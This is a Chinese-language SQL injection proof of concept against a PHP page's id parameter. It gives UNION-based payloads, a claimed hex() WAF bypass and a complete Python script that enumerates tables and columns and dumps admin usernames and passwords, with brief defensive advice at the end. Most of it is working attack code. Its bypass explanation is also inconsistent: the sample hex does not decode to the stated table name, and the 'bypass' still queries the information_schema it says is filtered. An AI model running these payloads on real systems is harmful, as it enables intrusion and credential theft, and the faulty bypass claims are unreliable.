UNION注入Hex绕过POC

注入类型:UNION 注入(数值回显型)
绕过方式:Hex 编码

漏洞发现

注入点确认

1
https://example.com/solution.php?id=126 or 1=1

页面全部回显,确认存在 SQL 注入漏洞。

列数判断

1
https://example.com/solution.php?id=126 order by 31--+

确定列数为 31 列。

回显点确认

1
https://example.com/solution.php?id=126 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--+

回显点在第 4 列。

信息收集

数据库信息

1
https://example.com/solution.php?id=126 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--+
项目
数据库test_db
用户user@localhost
版本10.4.13-MariaDB-log

绕过思路

问题分析

直接查询 information_schema.tables 无回显:

1
https://example.com/solution.php?id=126 and 1=2 union select 1,2,3,concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.tables where table_schema=database() limit 0,1--+

原因:WAF 过滤了 information_schema 相关查询。

Hex编码绕过

使用 hex() 函数编码查询结果:

1
https://example.com/solution.php?id=126 and 1=2 union select 1,2,3,hex((select table_name from information_schema.tables where table_schema=database() limit 0,1)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--+

返回:7765625F616446D696E → 解码为 admin_table

数据提取

获取表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re

url = "https://example.com/solution.php"

def hex_decode(hex_str):
try:
return bytes.fromhex(hex_str).decode()
except:
return None

def inject(payload):
r = requests.get(url, params={"id": payload}, timeout=10)
match = re.search(r'([0-9A-Fa-f]{10,})', r.text)
if match:
return hex_decode(match.group(1))
return None

print("=== 获取表名 ===")
for i in range(50):
payload = f"126 and 1=2 union select 1,2,3,hex((select table_name from information_schema.tables where table_schema=database() limit {i},1)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -"
result = inject(payload)
if result:
print(f"[{i}] {result}")
else:
break

获取列名

1
2
3
4
5
6
7
8
print("\n=== 获取 admin_table 列名 ===")
for i in range(20):
payload = f"126 and 1=2 union select 1,2,3,hex((select column_name from information_schema.columns where table_name='admin_table' limit {i},1)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -"
result = inject(payload)
if result:
print(f"[{i}] {result}")
else:
break

获取数据

1
2
3
4
5
6
7
8
9
print("\n=== 获取 admin_table 数据 ===")

payload = f"126 and 1=2 union select 1,2,3,hex((select group_concat(username) from admin_table)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -"
result = inject(payload)
print(f"用户名: {result}")

payload = f"126 and 1=2 union select 1,2,3,hex((select group_concat(password) from admin_table)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -"
result = inject(payload)
print(f"密码: {result}")

完整POC脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import re

url = "https://example.com/solution.php"

def hex_decode(hex_str):
try:
return bytes.fromhex(hex_str).decode()
except:
return None

def inject(payload):
r = requests.get(url, params={"id": payload}, timeout=10)
match = re.search(r'([0-9A-Fa-f]{10,})', r.text)
if match:
return hex_decode(match.group(1))
return None

def get_tables():
print("=== 获取表名 ===")
tables = []
for i in range(50):
payload = f"126 and 1=2 union select 1,2,3,hex((select table_name from information_schema.tables where table_schema=database() limit {i},1)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -"
result = inject(payload)
if result:
tables.append(result)
print(f"[{i}] {result}")
else:
break
return tables

def get_columns(table_name):
print(f"\n=== 获取 {table_name} 列名 ===")
columns = []
for i in range(20):
payload = f"126 and 1=2 union select 1,2,3,hex((select column_name from information_schema.columns where table_name='{table_name}' limit {i},1)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -"
result = inject(payload)
if result:
columns.append(result)
print(f"[{i}] {result}")
else:
break
return columns

def get_data(table_name, column_name):
payload = f"126 and 1=2 union select 1,2,3,hex((select group_concat({column_name}) from {table_name})),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31-- -"
return inject(payload)

if __name__ == "__main__":
tables = get_tables()

for table in tables:
if 'admin' in table.lower():
columns = get_columns(table)
print(f"\n=== 获取 {table} 数据 ===")
for col in columns:
data = get_data(table, col)
print(f"{col}: {data}")

获取的数据

数据库信息:

项目
数据库test_db
用户user@localhost
版本10.4.13-MariaDB-log

管理员表结构:

列名说明
id主键
username用户名
password密码

总结

漏洞特点

  • UNION 注入:数值回显型,回显点在第 4 列
  • Hex 编码绕过:使用 hex() 函数绕过 WAF
  • 无过滤:未对单引号、注释符等进行过滤

防御建议

  1. 使用参数化查询(预处理语句)
  2. 对用户输入进行严格过滤
  3. 禁用敏感函数(如 hex()concat()
  4. 限制数据库用户权限